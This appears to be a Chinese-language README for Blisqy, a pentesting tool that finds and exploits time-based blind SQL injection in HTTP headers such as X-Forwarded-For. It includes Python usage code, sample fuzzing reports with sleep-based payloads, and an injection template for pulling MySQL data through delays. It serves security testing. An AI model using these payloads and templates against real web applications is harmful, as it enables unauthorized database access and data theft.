Blisqy 是一款辅助 Web 安全研究人员在 HTTP 标头中发现基于时间的盲 SQL 注入,并利用该漏洞的工具。
该利用过程通过盲 SQL 注入,对可打印 ASCII 字符进行位运算,从而从数据库中低速抽取数据(目前仅支持 MySQL/MariaDB)。
为了实现与其他 Python 工具的互操作性,并使其他用户能够使用 Blisqy 提供的功能,其中的模块可以被导入到其他基于 Python 的脚本中。
在测试基于时间的盲 SQL 注入时,任何网络延迟或拥塞都可能影响模糊测试或利用的效果。为了补偿可能导致的延迟和不确定性,Blisqy 的时间比较是动态的,并在运行时为每次测试计算。测试使用 greenlet(一种轻量级的协作调度执行单元)在 libevevent 循环之上提供高级同步 API。它提供了一种快速高效的方式在短时间内执行载荷测试,并且因为测试并非完全按顺序执行,所以一个测试不会影响另一个。
Blisqy 现在支持对 HTTP 标头进行基于时间的盲 SQL 注入模糊测试,并且主要功能(模糊测试和利用)已分离到独立文件中,便于移植。
要使用模糊测试功能,请在 Python 脚本中导入以下模块,并提供目标及模糊测试数据,如下所示:
from lib.blindfuzzer import blindSeeker
目标参数应以字典/JSON 格式提供,例如(注意变量数据类型):
Server = '192.168.56.101'
Port = 80
Index = 1
Method = 'GET'
Headerfile = "fuzz-data/headers/default_headers.txt"
Injectionfile = "fuzz-data/payloads/mysql_time.txt"
target_params = {
'server': Server,
'port': Port,
'index': Index,
'headersFile': Headerfile,
'injectionFile': Injectionfile,
'method': Method
}
提供目标参数后,调用模糊测试器的方法如下所示:
vulns = blindSeeker(target_params)
vulns.fuzz()
你可以查看 FindBlindSpot.py 以了解此示例。
如果成功,你将获得一份关于“可注入”测试的报告。请注意,尽管 Blisqy 在测试时尽量补偿网络延迟和拥塞,但在继续之前,仍然有必要对报告为阳性的测试进行验证。
以下是示例报告:
=================== [ 关键术语] ===================
Index = 配置的常数(延迟)
Base Index Record = 模糊测试前的服务器 Ping
Benching Record = Base Index Record + Index
Fuzzing Record = 处理请求所花费的时间(含 Index)
===================== [ 逻辑] =====================
如果 Fuzzing Record 大于 Benching Record,则视为阳性;否则视为阴性。
[+] Injection : X-Forwarded-For : ' or sleep(1)#
[+] Header : X-Forwarded-For
[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 可注入。
__________________________________
[+] Injection : X-Forwarded-For : ' or sleep(1)='
[+] Header : X-Forwarded-For
[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 可注入。
__________________________________
Blisqy 模糊测试器运行截图:

找到潜在的基于时间的盲 SQL 注入后,你可以准备一个脚本来利用存在漏洞的 Web 应用程序。
与模糊测试器类似,你可以在 Python 脚本中导入利用模块,并定义利用操作模板。下面是如何在 Python 脚本中导入模块的示例:
from lib.blindexploit import SqlEngine
接下来,你需要提供目标详情及其利用所需的目标参数。下面是利用模糊测试器发现的盲 SQL 注入的示例实现:
目标数据应以字典/JSON 格式指定服务器、端口、发现的易受攻击标头及其值(某些应用程序需要或检查特定值)。另外注意变量数据类型。
target = {
'server': '192.168.56.101',
'port': 80,
'vulnHeader': 'X-Forwarded-For',
'headerValue': 'fuzzer'
}
目标参数应随之提供,允许用户指定与利用偏好相关的选项。
targetParam = {
'sleepTime': 0.1,
'payload': 'pass',
'mysqlDig': 'yes',
'interactive': 'on',
'verbosity': 'high'
}
select @@hostname)运行利用的选项。默认选项是 'pass'。提供目标及其参数后,接下来需要提供利用流程的模板。Blisqy 提供了一种方式,让用户指定在哪里注入数据外泄 SQL 载荷以及 sleeptime 延迟。以下是一个针对上一小节示例报告中发现的漏洞的实现示例。
在 X-Forwarded-For 标头上发现的注入:
' or sleep(1)='
此特定注入的模板:
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"
在运行时,*sql* 将被替换为 SQL 注入载荷,*time* 将被替换为 sleep() 的延迟。
完成所有这些后,最后一步是实例化利用流程,让 MysqlDigger() 方法完成工作。
# 创建实例
BlindSql = SqlEngine(target, targetParam, sqli)
# 枚举 MySQL 数据库
BlindSql.MysqlDigger()
你可以查看 ExploitBlindSpot.py 以了解此示例。
以下是利用操作的示例:

如果你发现了 Blisqy 的任何有趣之处,或者认为应该添加/删除什么,请告知我。
(PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. 可从以下网址获取: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation
PentesterLab - From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course